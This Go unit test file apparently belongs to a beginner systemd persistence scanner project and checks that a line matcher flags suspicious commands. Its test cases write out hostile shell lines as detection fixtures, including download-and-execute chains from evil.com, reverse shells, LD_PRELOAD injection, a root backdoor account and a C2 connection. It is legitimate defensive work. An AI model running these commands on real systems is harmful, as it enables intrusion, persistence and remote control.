Cybersecurity-Projects/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/patterns_test.go

195 lines
4.4 KiB
Go

/*
©AngelaMos | 2026
patterns_test.go
*/
package scanner
import (
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestMatchLine(t *testing.T) {
tests := []struct {
name string
line string
wantHit bool
wantSev types.Severity
wantLbl string
}{
{
name: "clean line",
line: "/usr/sbin/sshd -D",
wantHit: false,
},
{
name: "curl pipe bash",
line: "curl http://evil.com/x | bash",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "download-and-execute chain",
},
{
name: "wget pipe sh",
line: "wget -qO- http://evil.com/x | sh",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "download-and-execute chain",
},
{
name: "base64 decode",
line: "echo dGVzdA== | base64 -d | sh",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "encoded/obfuscated payload",
},
{
name: "reverse shell dev tcp",
line: "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1",
wantHit: true,
wantSev: types.SeverityCritical,
wantLbl: "reverse shell pattern",
},
{
name: "socat reverse shell",
line: "socat exec:'bash -li',pty TCP:10.0.0.1:4444",
wantHit: true,
wantSev: types.SeverityCritical,
wantLbl: "reverse shell pattern",
},
{
name: "temp dir reference",
line: "/tmp/.hidden/payload",
wantHit: true,
wantSev: types.SeverityMedium,
wantLbl: "temporary directory reference",
},
{
name: "dev shm reference",
line: "/dev/shm/.evil.so",
wantHit: true,
wantSev: types.SeverityMedium,
wantLbl: "temporary directory reference",
},
{
name: "alias hijack",
line: "alias sudo='/tmp/keylog && sudo'",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "alias hijacking",
},
{
name: "LD_PRELOAD export",
line: "export LD_PRELOAD=/dev/shm/.evil.so",
wantHit: true,
wantSev: types.SeverityCritical,
wantLbl: "LD_PRELOAD manipulation",
},
{
name: "nohup background",
line: "nohup /tmp/.hidden/beacon &",
wantHit: true,
wantSev: types.SeverityMedium,
},
{
name: "python socket",
line: "python3 -c 'import socket'",
wantHit: true,
wantSev: types.SeverityCritical,
wantLbl: "reverse shell pattern",
},
{
name: "PATH to tmp",
line: "PATH=/tmp/evil:$PATH",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "PATH manipulation to temp dir",
},
{
name: "normal path export",
line: "export PATH=/usr/local/bin:$PATH",
wantHit: false,
},
{
name: "comment with keyword",
line: "# curl http://example.com",
wantHit: true,
wantSev: types.SeverityMedium,
wantLbl: "network tool invocation",
},
{
name: "chmod suid",
line: "chmod u+s /tmp/.hidden/shell",
wantHit: true,
wantSev: types.SeverityCritical,
wantLbl: "SUID bit manipulation",
},
{
name: "chmod numeric suid",
line: "chmod 4755 /usr/local/bin/backdoor",
wantHit: true,
wantSev: types.SeverityCritical,
wantLbl: "SUID bit manipulation",
},
{
name: "useradd backdoor",
line: "useradd -o -u 0 -g root backdoor",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "account creation/modification",
},
{
name: "chattr immutable",
line: "chattr +i /etc/resolv.conf",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "file attribute manipulation",
},
{
name: "systemctl enable persistence",
line: "systemctl enable backdoor.service",
wantHit: true,
wantSev: types.SeverityMedium,
wantLbl: "persistence self-installation",
},
{
name: "openssl c2 channel",
line: "openssl s_client -connect c2.evil.com:443",
wantHit: true,
wantSev: types.SeverityHigh,
wantLbl: "encrypted C2 channel",
},
{
name: "normal chmod",
line: "chmod 755 /usr/local/bin/app",
wantHit: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
hit, sev, lbl := MatchLine(tt.line)
if hit != tt.wantHit {
t.Errorf(
"MatchLine(%q) hit = %v, want %v",
tt.line, hit, tt.wantHit,
)
}
if tt.wantHit && sev < tt.wantSev {
t.Errorf(
"MatchLine(%q) sev = %v, want >= %v",
tt.line, sev, tt.wantSev,
)
}
if tt.wantLbl != "" && lbl != tt.wantLbl {
t.Errorf(
"MatchLine(%q) label = %q, want %q",
tt.line, lbl, tt.wantLbl,
)
}
})
}
}